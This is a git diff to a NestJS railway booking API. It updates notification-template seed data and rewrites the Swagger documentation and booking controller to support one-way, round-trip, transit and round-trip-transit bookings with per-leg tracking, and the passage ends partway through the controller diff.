await prisma.segmentFareRule.create({
data: {
@@ -542,7 +542,7 @@ async function seedSegmentFares() {
baseFareMinor: Math.floor(sc.baseFareMinor * 0.6),
validFrom,
},
- }).catch(() => {});
+ }).catch(() => { });
}
console.log(` ✅ ${seatClasses.length * 2} segment fare rules created`);
}
@@ -550,18 +550,24 @@ async function seedSegmentFares() {
async function seedNotificationTemplates() {
console.log('\n🔔 Seeding notification templates...');
+ // NOTE: `code` must match the templateKey passed by NotificationsService.send(...).
+ // The event-driven handlers use the dotted event names (booking.created, payment.succeeded).
const templates = [
- { id: uuidv4(), code: 'BOOKING_CONFIRMED', channel: 'EMAIL', subject: 'Booking Confirmed', bodyTemplate: 'Your booking {{bookingRef}} is confirmed for {{date}}' },
- { id: uuidv4(), code: 'PAYMENT_RECEIVED', channel: 'SMS', bodyTemplate: 'Payment ETB {{amount}} received for {{bookingRef}}' },
- { id: uuidv4(), code: 'TRIP_DEPARTURE', channel: 'PUSH', bodyTemplate: 'Your trip {{route}} departs in {{minutes}} minutes' },
- { id: uuidv4(), code: 'TRIP_DELAY', channel: 'EMAIL', subject: 'Trip Delayed', bodyTemplate: 'Your trip {{route}} is delayed by {{delayMinutes}} minutes' },
- { id: uuidv4(), code: 'PROMOTION', channel: 'PUSH', bodyTemplate: 'Get {{percentOff}}% off on {{route}}' },
+ { id: uuidv4(), code: 'booking.created', channel: 'EMAIL', subject: 'Booking Confirmed', bodyTemplate: 'Your booking {{bookingRef}} is confirmed. Total: {{amount}} {{currency}}.' },
+ { id: uuidv4(), code: 'payment.succeeded', channel: 'SMS', subject: 'Payment Received', bodyTemplate: 'Payment of {{amount}} {{currency}} received for booking {{bookingRef}}.' },
+ { id: uuidv4(), code: 'payment.failed', channel: 'SMS', subject: 'Payment Failed', bodyTemplate: 'Payment for booking {{bookingRef}} could not be completed. Please try again.' },
+ { id: uuidv4(), code: 'booking.cancelled', channel: 'EMAIL', subject: 'Booking Cancelled', bodyTemplate: 'Your booking {{bookingRef}} has been cancelled. Refund: {{refundAmount}} {{currency}}.' },
+ // Templates below are not wired to handlers yet (Phase 2 — full event coverage).
+ { id: uuidv4(), code: 'trip.departure', channel: 'PUSH', subject: 'Trip Departing Soon', bodyTemplate: 'Your trip {{route}} departs in {{minutes}} minutes' },
+ { id: uuidv4(), code: 'trip.delay', channel: 'EMAIL', subject: 'Trip Delayed', bodyTemplate: 'Your trip {{route}} is delayed by {{delayMinutes}} minutes' },
+ { id: uuidv4(), code: 'promotion.offer', channel: 'PUSH', subject: 'Special Offer', bodyTemplate: 'Get {{percentOff}}% off on {{route}}' },
];
for (const t of templates) {
await prisma.notificationTemplate.upsert({
where: { code: t.code },
- update: {},
+ // Refresh the editable fields on re-seed so template tweaks actually take effect.
+ update: { channel: t.channel, subject: t.subject ?? null, bodyTemplate: t.bodyTemplate, active: true },
create: t,
});
}
@@ -586,16 +592,16 @@ async function seedMenuAndFood() {
const coffeeId = uuidv4();
const juiceId = uuidv4();
const sandwichId = uuidv4();
-
+
await prisma.menuItem.create({
data: { id: coffeeId, scheduleId: schedule.id, categoryId: beverages.id, name: 'Ethiopian Coffee', priceMinor: 50 },
- }).catch(() => {}); // ignore if exists
+ }).catch(() => { }); // ignore if exists
await prisma.menuItem.create({
data: { id: juiceId, scheduleId: schedule.id, categoryId: beverages.id, name: 'Fresh Juice', priceMinor: 35 },
- }).catch(() => {}); // ignore if exists
+ }).catch(() => { }); // ignore if exists
await prisma.menuItem.create({
data: { id: sandwichId, scheduleId: schedule.id, categoryId: snacks.id, name: 'Sandwich', priceMinor: 80 },
- }).catch(() => {}); // ignore if exists
+ }).catch(() => { }); // ignore if exists
}
console.log(` ✅ Menu categories and items created`);
}
@@ -682,6 +688,10 @@ async function main() {
const steps: Array<[string, () => Promise]> = [
['system users', seedSystemUsers],
+ ['fare rules', seedFareRules],
+ ['segment fares', seedSegmentFares],
+ ['currency', seedCurrency],
+ ['notification templates', seedNotificationTemplates]
];
let failed = 0;
diff --git a/apps/edr-passenger-api/src/main.ts b/apps/edr-passenger-api/src/main.ts
index f1972b0e6..928789c04 100644
--- a/apps/edr-passenger-api/src/main.ts
+++ b/apps/edr-passenger-api/src/main.ts
@@ -34,19 +34,25 @@ async function bootstrap() {
## Overview
Enterprise-grade REST API for the Ethio-Djibouti Railway passenger booking and management platform. Built with NestJS, TypeScript, PostgreSQL, and Prisma ORM.
-## 🆕 Latest Updates
-- **Sequence Ordering:** Stations and coaches now sorted by sequence field for consistent UI display
-- **User Profile Data:** Gender, DOB, passport, and national ID fields for comprehensive passenger profiles
-- **Seat Class Fees:** Premium charges and insurance fees per seat class for transparent pricing
-- **Booking Types:** Support for ONE_WAY and ROUND_TRIP booking categories
-- **Multi-Currency Display:** Bookings track display currency and converted amounts
-- **Ticket Lifecycle:** Tickets now include validatedAt and boardedAt timestamps for complete audit trail
+## Latest Updates
+- **TRANSIT & ROUND_TRIP_TRANSIT Booking Types:** Full multi-leg booking support. TRANSIT = single journey via connecting train (single PNR). ROUND_TRIP_TRANSIT = round trip where one or both directions use a connecting train (4 holds, 4 seat sets).
+- **returnSeatId on Passenger Payloads:** For ROUND_TRIP and ROUND_TRIP_TRANSIT bookings each passenger object must include \`returnSeatId\` (the seat on the return leg-1). Guest and authenticated booking endpoints both enforce this.
+- **Unified Booking Type Matrix:** bookingType field on Booking now accepts ONE_WAY | ROUND_TRIP | TRANSIT | ROUND_TRIP_TRANSIT across all create endpoints (POST /bookings and POST /bookings/guest).
+- **Round-Trip Leg Tracking:** returnLegStatus on every booking tracks outbound/return leg usage (NEITHER_USED, OUTBOUND_ONLY, INBOUND_ONLY, BOTH_USED). Gate validation accepts a leg field (OUTBOUND | RETURN | LEG1 | LEG2 | OUTBOUND_LEG1 | OUTBOUND_LEG2 | RETURN_LEG1 | RETURN_LEG2).
+- **Auto No-Show Detection:** Cron marks OUTBOUND_ONLY 30 min after return departure when return leg was never scanned.
+- **Offline Batch Validation:** validateOfflineBatch now accepts leg per entry and handles both legs of a round-trip in one batch.
+- **Booking Filters:** GET /bookings now accepts ?returnLegStatus= to filter no-show/inbound-only cases in back-office.
+- **Sequence Ordering:** Stations and coaches now sorted by sequence field for consistent UI display.
+- **User Profile Data:** Gender, DOB, passport, and national ID fields for comprehensive passenger profiles.
+- **Seat Class Fees:** Premium charges and insurance fees per seat class for transparent pricing.
+- **Multi-Currency Display:** Bookings track display currency and converted amounts.
+- **Ticket Lifecycle:** Tickets now include validatedAt, outboundBoardedAt, returnBoardedAt for complete audit trail.
## Key Features
-### 🎫 Booking Lifecycle
+### Booking Lifecycle
- Search trips with real-time availability
-- Age-based passenger categorization (Adult ≥5 years, Child <5 years)
+- Age-based passenger categorization (Adult 5+ years, Child under 5)
- Nationality-based verification (Ethiopian Fayda, International Passport)
- Passenger information collection with verification
- Coach and seat selection with real-time availability
@@ -55,130 +61,143 @@ Enterprise-grade REST API for the Ethio-Djibouti Railway passenger booking and m
- Modify bookings (seat changes, passenger updates)
- Cancel bookings with automatic refunds
- Multi-segment journey support
-- Cross-border journeys via Dire Dawa transit (Ethiopia → Djibouti)
+- Cross-border journeys via Dire Dawa transit (Ethiopia to Djibouti)
- Round-trip booking with return journey scheduling
+- Transit booking (single journey via connecting train, single PNR, single ticket)
+- Round-trip transit booking (round trip where one or both directions use a connecting train)
- Coach type selection with seat class and pricing options
-- **NEW:** Booking type tracking (ONE_WAY vs ROUND_TRIP)
-- **NEW:** Display currency and converted pricing per booking
+- Booking type field: ONE_WAY | ROUND_TRIP | TRANSIT | ROUND_TRIP_TRANSIT
+- Display currency and converted pricing per booking
+- returnLegStatus field tracks which legs of a round-trip were used
+- GET /bookings?returnLegStatus=OUTBOUND_ONLY filters no-show returns in back-office
-### 👤 Passenger Verification
-1. **Ethiopian Nationals:**
-- Automatic Fayda verification for adults (≥5 years)
+### Passenger Verification
+1. Ethiopian Nationals:
+- Automatic Fayda verification for adults (5+ years)
- Real-time national ID verification via government database
- Retrieves verified passenger data (name, DOB, gender)
- National IDs not stored (policy compliant)
-2. **International Passengers:**
+2. International Passengers:
- Passport information collection
- Manual verification for Djiboutian and other nationals
- No government database verification required
-### 💰 Age-Based Pricing
-- **ADULT** (≥5 years): Pay 100% of base fare
-- **CHILD** (<5 years): First child travels FREE, subsequent children pay 100%
+### Age-Based Pricing
+- ADULT (5+ years): Pay 100% of base fare
+- CHILD (under 5): First child travels FREE, subsequent children pay 100%
- Automatic age calculation from date of birth
-- Example: 2 adults + 3 children = 4× base fare (first child free)
-- **NEW:** Premium charges and insurance fees per seat class
-- **NEW:** Transparent fee breakdown in pricing calculations
+- Example: 2 adults + 3 children = 4x base fare (first child free)
+- NEW: Premium charges and insurance fees per seat class
+- NEW: Transparent fee breakdown in pricing calculations
-### 💳 Payment Integration
-1. **Ethiopian Payment Methods:**
-- **Telebirr** - Ethiopia's leading mobile money
-- **CBE Birr** - Commercial Bank of Ethiopia
+### Payment Integration
+1. Ethiopian Payment Methods: Telebirr, CBE Birr
+2. Djiboutian Payment Methods: Waafi
+3. International Payment Methods: Card, Wallet
-2. **Djiboutian Payment Methods:**
-- **Waafi** - Djibouti's mobile money service
-
-3. **International Payment Methods:**
-- **Card** - International card payments (Visa, Mastercard)
-- **Wallet** - Internal wallet system
-
-### 🪑 Seat Management
+### Seat Management
- Real-time seat availability by coach and class
- Seat holds with 15-minute expiry
- Auto-assign seats with contiguous algorithm
- Seat blocking for maintenance
- Coach-level seat maps (ordered by sequence)
- Class-based seating (Economy Regular, Economy Bed, VIP Bed)
-- **NEW:** Sequence-based coach ordering for consistent display
+- NEW: Sequence-based coach ordering for consistent display
-### 🎟️ Ticketing
+### Ticketing
- QR code and barcode generation
- PDF ticket generation
- Gate validation with audit logs
- Offline validation support
- Multi-passenger tickets
-- **NEW:** Ticket lifecycle tracking (validatedAt, boardedAt timestamps)
-- **NEW:** Complete audit trail for compliance and reporting
+- NEW: Ticket lifecycle tracking (validatedAt, outboundBoardedAt, returnBoardedAt timestamps)
+- NEW: Gate validation accepts leg (OUTBOUND or RETURN) for round-trip tickets
+- NEW: Complete audit trail per leg for compliance and reporting
-### 🏆 Loyalty Program
+### Booking Type Matrix
+
+| bookingType | Holds required | Passenger seat fields | Legs in DB |
+|---|---|---|---|
+| ONE_WAY | holdId | seatId | 1 |
+| ROUND_TRIP | holdId + returnHoldId | seatId + returnSeatId | 2 (leg=1 outbound, leg=2 return) |
+| TRANSIT | holdId + leg2HoldId | seatId + leg2SeatId | 2 (leg=1, leg=2 on same direction) |
+| ROUND_TRIP_TRANSIT | holdId + leg2HoldId + returnHoldId + returnLeg2HoldId | seatId + leg2SeatId + returnSeatId + returnLeg2SeatId | 4 |
+
+### Round-Trip Leg Tracking
+- returnLegStatus on Booking: NOT_APPLICABLE, NEITHER_USED, OUTBOUND_ONLY, INBOUND_ONLY, BOTH_USED
+- Gate validation POST /tickets/:ref/validate accepts optional leg field:
+ - ONE_WAY: omit
+ - TRANSIT: LEG1 | LEG2
+ - ROUND_TRIP: OUTBOUND | RETURN
+ - ROUND_TRIP_TRANSIT: OUTBOUND_LEG1 | OUTBOUND_LEG2 | RETURN_LEG1 | RETURN_LEG2
+- Auto no-show cron: sets OUTBOUND_ONLY 30 min after return departure when return leg unscanned
+- Back-office filter: GET /bookings?returnLegStatus=OUTBOUND_ONLY surfaces no-shows
+- Offline batch: validateOfflineBatch accepts leg per entry, handles both legs of same booking
+
+### Round-Trip & Transit Bookings
+- ONE_WAY and ROUND_TRIP for direct routes
+- TRANSIT for single connecting journey (Dire Dawa hub), single PNR
+- ROUND_TRIP_TRANSIT for round trips via connecting trains
+- Combined pricing: total = sum of all leg base fares, single promo/loyalty deduction
+- Separate seat management per leg; each leg stored with its scheduleId and leg number
+- returnLegStatus tracks which legs have been boarded for no-show management
+
+### Loyalty Program
- 4 tiers: Bronze, Silver, Gold, Platinum
- Points accumulation on trips
- Reward redemption
- Tier-based benefits
-### 💰 Wallet System
+### Wallet System
- Top-up via payment methods
- Pay with wallet balance
- Transaction ledger
- Refund to wallet
-### 📍 Live Tracking
+### Live Tracking
- Real-time trip status
- Location updates
- Delay notifications
- Station crowd signals
-### 🔒 Fraud Detection
+### Fraud Detection
- Velocity checks (multiple bookings)
- High-value transaction monitoring
- Failed payment pattern detection
- Automatic user blocking
-### 👤 Passenger Profiles
+### Passenger Profiles
- Comprehensive profile data: gender, date of birth, nationality
- National ID for Ethiopian citizens (Fayda verified)
- Passport information for international passengers
-- **NEW:** Complete demographic data for personalized services
-- **NEW:** Improved user targeting and communications
+- NEW: Complete demographic data for personalized services
-### 🌍 Internationalization
+### Internationalization
- Multi-language support (English, Amharic, French, Oromo)
- Locale-based responses
- Currency formatting (ETB, DJF, USD)
-- **NEW:** Multi-currency display per booking (ETB, DJF, USD)
+- NEW: Multi-currency display per booking (ETB, DJF, USD)
-### 🚌 Transit Stop Management
-- Automatic detection of cross-border journeys (Ethiopia → Djibouti)
+### Transit Stop Management
+- Automatic detection of cross-border journeys (Ethiopia to Djibouti)
- Dire Dawa as mandatory transit hub for international journeys
- Dual-leg fare calculation (domestic + international)
- Age-based pricing applied independently per leg
- Seamless multi-segment booking workflow
-- Transit stop optimization and route planning
-### 🔄 Round-Trip Booking
-- One-way and round-trip journey options
-- Flexible return date selection
-- Combined pricing for outbound + return legs
-- Separate seat management per leg
-- Independent modification/cancellation per leg
-- Return journey tracking and notifications
-- **NEW:** Booking type stored for analytics and reporting
-
-### 🚐 Coach Type & Class Selection
-- Browse available coach types per route (standard coaches, premium coaches)
+### Coach Type & Class Selection
+- Browse available coach types per route
- View seat classes per coach (Economy Regular, Economy Bed, VIP Bed)
- Compare base prices by coach type and class
- Real-time availability per coach configuration
-- Deferred pricing at seat selection stage
-- Coach amenities and features display
-- **NEW:** Sequence-based coach ordering for consistent UI
-- **NEW:** Premium and insurance fee transparency per class
+- NEW: Sequence-based coach ordering for consistent UI
+- NEW: Premium and insurance fee transparency per class
-### 📊 Data Organization
-- **Stations:** Ordered by sequence (1-15) for consistent route display
-- **Coaches:** Ordered by sequence (1+) per type for predictable configuration
-- **Booking History:** Sorted chronologically with filtering options
+### Data Organization
+- Stations ordered by sequence (1-15) for consistent route display
+- Coaches ordered by sequence (1+) per type for predictable configuration
+- Booking history sorted chronologically with filtering options
## Authentication
@@ -195,26 +214,37 @@ Used for agent, fraud, and reporting endpoints. Requires corporate IAM token.
## Passenger Booking Flow
### Step 1: Search Trips
-\`POST /search\` with origin, destination, date, passenger counts, and nationality
+\`POST /search\` with origin, destination, date, passenger counts, and nationality.
+For round-trips also pass \`journeyType=ROUND_TRIP\` and \`returnDate\`.
### Step 2: Get Fare Quote
-\`POST /search/fare-quote\` with passenger counts and display currency
+\`POST /search/fare-quote\` with passenger counts and display currency.
+For round-trips also pass \`returnScheduleId\`, \`returnOriginStationId\`, \`returnDestinationStationId\`.
### Step 3: Passenger Information & Verification
**For Ethiopian Passengers:**
-\`POST /passengers/verify-fayda\` - Automatic Fayda verification for adults (≥5 years)
+\`POST /passengers/verify-fayda\` — Automatic Fayda verification for adults (5+ years)
**For International Passengers:**
-\`POST /passengers/register-international\` - Passport information collection
+\`POST /passengers/register-international\` — Passport information collection
### Step 4: View Seat Map
-\`GET /seats/seatmap/{scheduleId}\` - Show available coaches and seats
+\`GET /seats/seatmap/{scheduleId}\` — Show available coaches and seats.
+For round-trips, call this twice: once for outbound scheduleId, once for return scheduleId.
-### Step 5: Login & Hold Seats
-\`POST /auth/login\` then \`POST /seats/hold\` to reserve seats for 15 minutes
+### Step 5: Hold Seats
+\`POST /seats/hold\` to reserve seats for 15 minutes.
+- ONE_WAY / TRANSIT outbound leg: one hold call → \`holdId\`
+- TRANSIT leg-2: second hold call → \`leg2HoldId\`
+- ROUND_TRIP return: second hold call → \`returnHoldId\`
+- ROUND_TRIP_TRANSIT: four hold calls → \`holdId\`, \`leg2HoldId\`, \`returnHoldId\`, \`returnLeg2HoldId\`
### Step 6: Create Booking
-\`POST /bookings/guest\` with verified passenger details and held seats
+Choose the right endpoint and bookingType:
+- **ONE_WAY** → \`POST /bookings/guest\` or \`POST /bookings\` with \`bookingType: ONE_WAY\`, passenger \`seatId\`
+- **ROUND_TRIP** → same endpoint with \`bookingType: ROUND_TRIP\`, \`returnScheduleId/returnHoldId/returnOriginStationId/returnDestinationStationId\`, passenger \`seatId + returnSeatId\`
+- **TRANSIT** → same endpoint with \`bookingType: TRANSIT\`, \`leg2ScheduleId/leg2HoldId/transitStationId/leg2DestinationStationId\`, passenger \`seatId + leg2SeatId\`
+- **ROUND_TRIP_TRANSIT** → same endpoint with \`bookingType: ROUND_TRIP_TRANSIT\`, all 4 sets of schedule/hold/station fields, passenger \`seatId + leg2SeatId + returnSeatId + returnLeg2SeatId\`
### Step 7: Process Payment
\`POST /payments/telebirr\` (Ethiopian) or \`POST /payments/waafi\` (Djiboutian)
@@ -265,7 +295,7 @@ Payment providers send notifications to:
.addTag("Agents", "Counter booking, shift management, commission tracking, and reconciliation")
.addTag("Audit", "User activity logging, system changes, compliance tracking, and audit trails")
.addTag("Auth", "Passenger registration, login, OTP, password reset, and profile management")
- .addTag("Booking", "Complete booking lifecycle: create, modify, cancel, guest checkout")
+ .addTag("Booking", "Complete booking lifecycle: create, modify, cancel, guest checkout. Supports ONE_WAY | ROUND_TRIP | TRANSIT | ROUND_TRIP_TRANSIT booking types. returnLegStatus filter for round-trip no-show management")
.addTag("Config", "System settings, feature flags, and configuration management")
.addTag("Currencies", "Multi-currency support, exchange rates, and currency conversion")
.addTag("Dashboard", "Home screen aggregations: trips, loyalty, wallet, notifications")
@@ -282,7 +312,6 @@ Payment providers send notifications to:
.addTag("Payment Webhooks", "Payment provider webhook handlers and transaction confirmation")
.addTag("Promotions", "Promo codes, campaigns, discounts, and redemption tracking")
.addTag("Reports", "Revenue analytics, occupancy reports, agent sales, and KPI dashboards")
- .addTag("Round Trip", "Round-trip bookings, return scheduling, combined pricing, and management (NEW)")
.addTag("Routes", "Route templates with ordered stops, fare rules, and baggage allowance")
.addTag("Schedule", "Trip schedules, availability windows, status tracking, and timing")
.addTag("Search", "Trip search, fare quotes, coach types, and real-time availability")
@@ -291,8 +320,8 @@ Payment providers send notifications to:
.addTag("Segment-based Seats", "Multi-leg journey seats, segment allocation, and per-leg availability")
.addTag("Stations", "Station directory, location data, baggage facilities, and amenities")
.addTag("Support", "FAQ management, search, live chat conversations, and ticket resolution")
- .addTag("Tickets", "QR/barcode generation, PDF tickets, gate validation, and audit trails")
- .addTag("Transit Stops", "Cross-border journey management, Dire Dawa hub, multi-leg routing (NEW)")
+ .addTag("Tickets", "QR/barcode generation, PDF tickets, gate validation with per-leg tracking (OUTBOUND/RETURN/LEG1/LEG2/OUTBOUND_LEG1/OUTBOUND_LEG2/RETURN_LEG1/RETURN_LEG2), and audit trails")
+ .addTag("Transit Stops", "Cross-border journey management, Dire Dawa hub, TRANSIT and ROUND_TRIP_TRANSIT bookings")
.addTag("Wallet", "Balance management, top-ups, withdrawals, and transaction ledger")
//.addServer('http://localhost:4000', 'Development')
// .addServer("https://api.edr-platform.com", "Production")
diff --git a/apps/edr-passenger-api/src/modules/bookings/bookings.controller.ts b/apps/edr-passenger-api/src/modules/bookings/bookings.controller.ts
index 9622fa656..54dcea344 100644
--- a/apps/edr-passenger-api/src/modules/bookings/bookings.controller.ts
+++ b/apps/edr-passenger-api/src/modules/bookings/bookings.controller.ts
@@ -1,5 +1,5 @@
import { Body, Controller, Delete, Get, Param, Post, Patch, UseGuards, Query, Req, BadRequestException } from '@nestjs/common';
-import { ApiTags, ApiOperation, ApiBearerAuth, ApiResponse, ApiQuery } from '@nestjs/swagger';
+import { ApiTags, ApiOperation, ApiBearerAuth, ApiResponse, ApiQuery, ApiBody } from '@nestjs/swagger';
import { BookingsService } from './bookings.service';
import { GuestBookingService } from './guest-booking.service';
import { CreateBookingDto, ModifyBookingDto, CancelBookingDto } from './bookings.dto';
@@ -75,21 +75,24 @@ export class BookingsController {
@Get()
@ApiOperation({
summary: 'List all bookings with filters (Admin/Agent)',
- description: 'Returns paginated list of bookings with search and status filters'
+ description: 'Returns paginated list of bookings. Use `returnLegStatus=OUTBOUND_ONLY` to find round-trip no-shows on the return leg, `INBOUND_ONLY` for passengers who only used the return leg, `BOTH_USED` for fully completed round-trips, and `NEITHER_USED` for confirmed but not yet boarded.'
})
@ApiQuery({ name: 'search', required: false, description: 'Search by booking reference, email, or phone' })
@ApiQuery({ name: 'status', required: false, description: 'Filter by booking status' })
+ @ApiQuery({ name: 'returnLegStatus', required: false, description: 'Filter round-trip leg usage: NEITHER_USED | OUTBOUND_ONLY | INBOUND_ONLY | BOTH_USED | NOT_APPLICABLE' })
@ApiQuery({ name: 'page', required: false, description: 'Page number' })
@ApiQuery({ name: 'pageSize', required: false, description: 'Items per page' })
findAll(
@Query('search') search?: string,
@Query('status') status?: string,
+ @Query('returnLegStatus') returnLegStatus?: string,
@Query('page') page?: string,
@Query('pageSize') pageSize?: string,
) {
return this.service.findAll({
search,
- status,
+ status,
+ returnLegStatus,
page: page ? parseInt(page) : 1,
pageSize: pageSize ? parseInt(pageSize) : 20
});
@@ -97,35 +100,153 @@ export class BookingsController {
@Post('guest')
@ApiOperation({
- summary: 'Create guest booking without login (optional account creation)',
- description: `Creates a booking without requiring login. Features:
-
-**Guest Checkout:**
-- No login required
-- Contact details from first passenger
-- Booking confirmation sent to email/phone
+ summary: 'Create guest booking — ONE_WAY | ROUND_TRIP | TRANSIT | ROUND_TRIP_TRANSIT (no login required)',
+ description: `Creates a booking without requiring login. Supports all four booking types.
-**Optional Account Creation:**
-- Set createAccount=true with password
-- Account created using first passenger details
-- Automatic login after booking
-- Loyalty points and wallet created
+**bookingType: ONE_WAY (default)**
+- scheduleId, holdId, originStationId, destinationStationId, seatClassId
+- passengers[]: { seatId, passengerName, dateOfBirth, idDocumentType, … }
-**Passenger Details Storage:**
-- savePassengerDetails=true: Save for future bookings
-- Stored by userId (if account created) or deviceId
-- Retrieve saved passengers for quick booking
+**bookingType: ROUND_TRIP**
+- Above + returnScheduleId, returnHoldId, returnOriginStationId, returnDestinationStationId, returnSeatClassId
+- passengers[]: each must include returnSeatId (seat on the return leg)
-**Verifayda Verification:**
-- Ethiopian nationals: National ID verified via Verifayda
-- Other nationals: Passport details (no verification)
+**bookingType: TRANSIT**
+- scheduleId/holdId (leg-1) + leg2ScheduleId, leg2HoldId, transitStationId, leg2DestinationStationId
+- passengers[]: each must include leg2SeatId
-**Age-Based Pricing:**
-- ADULT (≥5 years): Full fare
-- CHILD (<5 years): First child FREE, subsequent children full fare`
+**bookingType: ROUND_TRIP_TRANSIT**
+- All TRANSIT outbound fields + returnScheduleId/returnHoldId/returnOriginStationId/returnDestinationStationId/returnLeg2ScheduleId/returnLeg2HoldId/returnTransitStationId/returnLeg2DestinationStationId
+- passengers[]: each must include leg2SeatId, returnSeatId, returnLeg2SeatId
+
+**Optional account creation:** set createAccount=true with password — creates account from first passenger details, loyalty + wallet initialised.
+
+**Verifayda:** Ethiopian nationals verified; international passengers require passportNumber + passportCountry.`
})
- @ApiResponse({ status: 201, description: 'Booking created successfully' })
- @ApiResponse({ status: 400, description: 'Verifayda verification failed or invalid data' })
+ @ApiBody({
+ type: CreateGuestBookingDto,
+ examples: {
+ ONE_WAY: {
+ summary: 'ONE_WAY — single direct journey (guest)',
+ value: {
+ scheduleId: 'schedule-uuid',
+ holdId: 'hold-uuid',
+ originStationId: 'station-uuid',
+ destinationStationId: 'station-uuid',
+ seatClassId: 'seat-class-uuid',
+ bookingType: 'ONE_WAY',
+ displayCurrency: 'ETB',
+ passengers: [{
+ seatId: 'seat-uuid',
+ passengerName: 'Abebe Kebede',
+ dateOfBirth: '1990-05-15',
+ idDocumentType: 'NATIONAL_ID',
+ idDocumentNumber: 'ET123456789',
+ nationality: 'Ethiopian',
+ phone: '+251911234567',
+ email: 'abebe@email.com',
+ }],
+ savePassengerDetails: true,
+ deviceId: 'device-uuid-123',
+ },
+ },
+ ROUND_TRIP: {
+ summary: 'ROUND_TRIP — outbound + return, single PNR (guest)',
+ value: {
+ scheduleId: 'outbound-schedule-uuid',
+ holdId: 'outbound-hold-uuid',
+ originStationId: 'addis-station-uuid',
+ destinationStationId: 'djibouti-station-uuid',
+ seatClassId: 'seat-class-uuid',
+ bookingType: 'ROUND_TRIP',
+ returnScheduleId: 'return-schedule-uuid',
+ returnHoldId: 'return-hold-uuid',
+ returnOriginStationId: 'djibouti-station-uuid',
+ returnDestinationStationId: 'addis-station-uuid',
+ returnSeatClassId: 'seat-class-uuid',
+ displayCurrency: 'ETB',
+ passengers: [{
+ seatId: 'outbound-seat-uuid',
+ returnSeatId: 'return-seat-uuid',
+ passengerName: 'Abebe Kebede',
+ dateOfBirth: '1990-05-15',
+ idDocumentType: 'NATIONAL_ID',
+ idDocumentNumber: 'ET123456789',
+ nationality: 'Ethiopian',
+ phone: '+251911234567',
+ }],
+ savePassengerDetails: true,
+ deviceId: 'device-uuid-123',
+ },
+ },
+ TRANSIT: {
+ summary: 'TRANSIT — connecting train, single PNR (guest)',
+ value: {
+ scheduleId: 'leg1-schedule-uuid',
+ holdId: 'leg1-hold-uuid',
+ originStationId: 'addis-station-uuid',
+ destinationStationId: 'diredawa-station-uuid',
+ seatClassId: 'seat-class-uuid',
+ bookingType: 'TRANSIT',
+ leg2ScheduleId: 'leg2-schedule-uuid',
+ leg2HoldId: 'leg2-hold-uuid',
+ transitStationId: 'diredawa-station-uuid',
+ leg2DestinationStationId: 'djibouti-station-uuid',
+ displayCurrency: 'ETB',
+ passengers: [{
+ seatId: 'leg1-seat-uuid',
+ leg2SeatId: 'leg2-seat-uuid',
+ passengerName: 'Abebe Kebede',
+ dateOfBirth: '1990-05-15',
+ idDocumentType: 'NATIONAL_ID',
+ idDocumentNumber: 'ET123456789',
+ nationality: 'Ethiopian',
+ phone: '+251911234567',
+ }],
+ deviceId: 'device-uuid-123',
+ },
+ },
+ ROUND_TRIP_TRANSIT: {
+ summary: 'ROUND_TRIP_TRANSIT — round trip via connecting trains, 4 holds (guest)',
+ value: {
+ scheduleId: 'ob-leg1-schedule-uuid',
+ holdId: 'ob-leg1-hold-uuid',
+ originStationId: 'addis-station-uuid',
+ destinationStationId: 'diredawa-station-uuid',
+ seatClassId: 'seat-class-uuid',
+ bookingType: 'ROUND_TRIP_TRANSIT',
+ leg2ScheduleId: 'ob-leg2-schedule-uuid',
+ leg2HoldId: 'ob-leg2-hold-uuid',
+ transitStationId: 'diredawa-station-uuid',
+ leg2DestinationStationId: 'djibouti-station-uuid',
+ returnScheduleId: 'ret-leg1-schedule-uuid',
+ returnHoldId: 'ret-leg1-hold-uuid',
+ returnOriginStationId: 'djibouti-station-uuid',
+ returnDestinationStationId: 'diredawa-station-uuid',
+ returnLeg2ScheduleId: 'ret-leg2-schedule-uuid',
+ returnLeg2HoldId: 'ret-leg2-hold-uuid',
+ returnTransitStationId: 'diredawa-station-uuid',
+ returnLeg2DestinationStationId: 'addis-station-uuid',
+ displayCurrency: 'ETB',
+ passengers: [{
+ seatId: 'ob-leg1-seat-uuid',
+ leg2SeatId: 'ob-leg2-seat-uuid',
+ returnSeatId: 'ret-leg1-seat-uuid',
+ returnLeg2SeatId: 'ret-leg2-seat-uuid',
+ passengerName: 'Abebe Kebede',
+ dateOfBirth: '1990-05-15',
+ idDocumentType: 'NATIONAL_ID',
+ idDocumentNumber: 'ET123456789',
+ nationality: 'Ethiopian',
+ phone: '+251911234567',
+ }],
+ deviceId: 'device-uuid-123',
+ },
+ },
+ },
+ })
+ @ApiResponse({ status: 201, description: 'Booking created successfully with fareBreakdown' })
+ @ApiResponse({ status: 400, description: 'Missing required seat IDs for bookingType, or Verifayda verification failed' })
createGuest(@Body() dto: CreateGuestBookingDto) {
return this.guestService.createGuestBooking(dto);
}
@@ -144,24 +265,149 @@ export class BookingsController {
@UseGuards(JwtGuard)
@ApiBearerAuth('JWT-auth')
@ApiOperation({
- summary: 'Create booking (one-way or round-trip)',
- description: `Creates a one-way or round-trip booking for logged-in users.
-
-ONE_WAY booking:
-- scheduleId, holdId, originStationId, destinationStationId
-- passengers: array of PassengerInputDto with seatId
-- Single PNR, single payment
+ summary: 'Create booking — ONE_WAY | ROUND_TRIP | TRANSIT | ROUND_TRIP_TRANSIT',
+ description: `Creates a booking for a logged-in passenger. bookingType controls which fields are required.
-ROUND_TRIP booking:
-- Outbound: scheduleId, holdId, originStationId, destinationStationId, seatClassId
-- Return: returnScheduleId, returnHoldId, returnOriginStationId, returnDestinationStationId, returnSeatClassId
-- passengers: array of RoundTripPassengerDto with outboundSeatId and returnSeatId
-- Combined PNR, single payment for both legs
-- Fare = outbound_fare + return_fare, single total, single promo, single loyalty deduction`
+**ONE_WAY**
+- scheduleId, holdId, originStationId, destinationStationId, seatClassId
+- passengers[]: { seatId, passengerName, dateOfBirth, idDocumentType, … }
+
+**ROUND_TRIP**
+- Above + returnScheduleId, returnHoldId, returnOriginStationId, returnDestinationStationId, returnSeatClassId
+- passengers[]: { seatId (outbound), returnSeatId (return), passengerName, … }
+- Combined fare = outbound fare + return fare; single promo/loyalty deduction
+
+**TRANSIT** (connecting train, single PNR)
+- scheduleId/holdId for leg-1 + leg2ScheduleId, leg2HoldId, transitStationId, leg2DestinationStationId
+- passengers[]: { seatId (leg-1), leg2SeatId (leg-2), passengerName, … }
+
+**ROUND_TRIP_TRANSIT** (round trip, each direction via connecting train)
+- All TRANSIT outbound fields + returnScheduleId, returnHoldId, returnOriginStationId, returnDestinationStationId, returnLeg2ScheduleId, returnLeg2HoldId, returnTransitStationId, returnLeg2DestinationStationId
